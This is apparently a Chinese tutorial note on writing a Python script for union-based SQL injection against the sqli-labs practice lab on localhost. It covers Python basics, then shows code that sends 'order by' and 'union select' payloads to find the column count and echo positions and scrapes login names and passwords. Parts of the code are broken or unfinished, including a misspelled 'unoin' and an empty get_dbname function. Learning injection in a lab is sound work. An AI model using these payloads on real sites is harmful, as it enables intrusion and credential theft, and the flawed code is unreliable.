sql回显注入--python脚本

联合查询注入python脚本
功能：

1. 页面能否正常请求
2. 判断列数
3. 判断回显位置

1. python基础

1.1 数据

数据类型

1. 整数

2. 浮点数

3. 字符串

4. c’ “abc”
   #单引号或双引号都可以

5. 布尔型

6. 数据集合

   t #数组
   didt，tuple，set

数据转换

1.2 系统模块

1. os模块

2. sys模块

3. re模块

   表达式
   re.findall()
   #贪婪匹配
   (.*?)

4. 文件操作

   读--方式1
   	f=open('1.txt','r')
   	for line in f
   		print(line.strip())
   	f.close()
   读--方式2
   	f1=open('1.txt','r')
   	print(f1.read())
   	f1.close()
   读--方式3
   	with open('1.txt','r') as f1:
   		print(f1.read())
   	f1.close()
    写
   	f=open('1.txt','a+')
   	f.write('\n123') 
   	f.close()
   

2. python web网络请求

2.1 请求中的参数

def req(url,params):     	#定义请求函数

	url
	params  #请求参数，一般在url后面；例如id=1

3. bool盲注–python编写过程

3.1 测试是否能正常请求页面

import re
import requests

def req(url,params):     	#定义请求函数
reponse=requests.get(url=url).text        # .text---以文本的形式呈现
return reponse

if  __name__ == '__main__':
url='http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
print(req(url))

3.2 获取数据–用正则表达式

import re
import requests

def req(url,params):
reponse=requests.get(url=url,params=params).text        # .text---以文本的形式呈现
return reponse

if  __name__ == '__main__':
url='http://127.0.0.1/sqli-labs-master/Less-2/'

for i in range(1,10):
    params = {'id': i}                                  #请求参数，一般在url后面；例如id=1
    reponse = req(url, params)
    a = re.findall('Your Login name:(.*?)<br>', reponse)   	#正则表达式--找login name
    b = re.findall('Your Password:(.*?)</font>', reponse)   	#正则表达式--找password
    print(a)
    print(b)

3.3 判断行数

def order_by(url):
    for i in range(1,10):
        key='order by %d' %(i)
        payload = "1 "+key +"#"     #在url后面构造payload;也就是构造params;
        params = {'id':payload}
        reponse=req(url,params)
        if 'Your Login name:' in reponse:
            print('有第%d列' %(i))
        else:
            print('没有第%d列' %(i))
    reponse = req(url, params)

3.4 判断回显位置–构造联合查询

def back_location(url):
    key = 'union select %d' %(1)
    for i in range(1,order_by(url)):         #需要得到列数，然构造联合查询
        key = key+",%d"%(i+1)
	#print(key) 	测试的时候用
    payload = "-1 "+key+" # "
    params = {'id':payload}
    reponse=req(url,params)
    a = re.findall('Your Login name:(.*?)<br>', reponse)       # 正则表达式--找login name
     	# 因为注入位置正确，页面上就会显示Your Login name：xxx；根据回显的信息判断回显位置
    b = re.findall('Your Password:(.*?)</font>', reponse)      #正则表达式--找password
    c = {'回显列-1':a,'回显列-2':b}
    return c

4. 源代码

import re
import requests

def req(url,params):
    reponse=requests.get(url=url,params=params).text        # .text---以文本的形式呈现
    return reponse

def order_by(url):
    for i in range(1,10):
        key='order by %d' %(i)
        payload = "1 "+key +"#"     #在url后面构造payload;也就是构造params;
        params = {'id':payload}
        reponse=req(url,params)
        if 'Your Login name:' in reponse:
            continue
            #print('有第%d列' %(i))
        else:
            break
            #print('没有第%d列' %(i))
    return i-1;

def back_location(url):
    key = 'union select %d' %(1)
    for i in range(1,order_by(url)):         #需要得到列数，然构造联合查询
        key = key+",%d"%(i+1)
    #print(key)
    payload = "-1 "+key+" # "
    params = {'id':payload}
    reponse=req(url,params)
    a = re.findall('Your Login name:(.*?)<br>', reponse)  # 正则表达式--找login name
    b = re.findall('Your Password:(.*?)</font>', reponse)  ##正则表达式--找password
    c = {'回显列-1':a,'回显列-2':b}
    return c

def get_dbname():
    key = "unoin select 1,(),3"
    payload = "-1 "+key+" # "
    params = {'id':payload}
    reponse=req(url,params)

if  __name__ == '__main__':
    url='http://127.0.0.1/sqli-labs-master/Less-2/'

params = {'id': 1}                                  #请求参数，一般在url后面；例如id=1
reponse = req(url, params)
a = re.findall('Your Login name:(.*?)<br>', reponse)   		#正则表达式--找login name;返回的是一个数组
b = re.findall('Your Password:(.*?)</font>', reponse)   	#正则表达式--找password

aa = a[0]
print(aa)
#print('列数:%d' % (order_by(url)))
#print(back_location(url))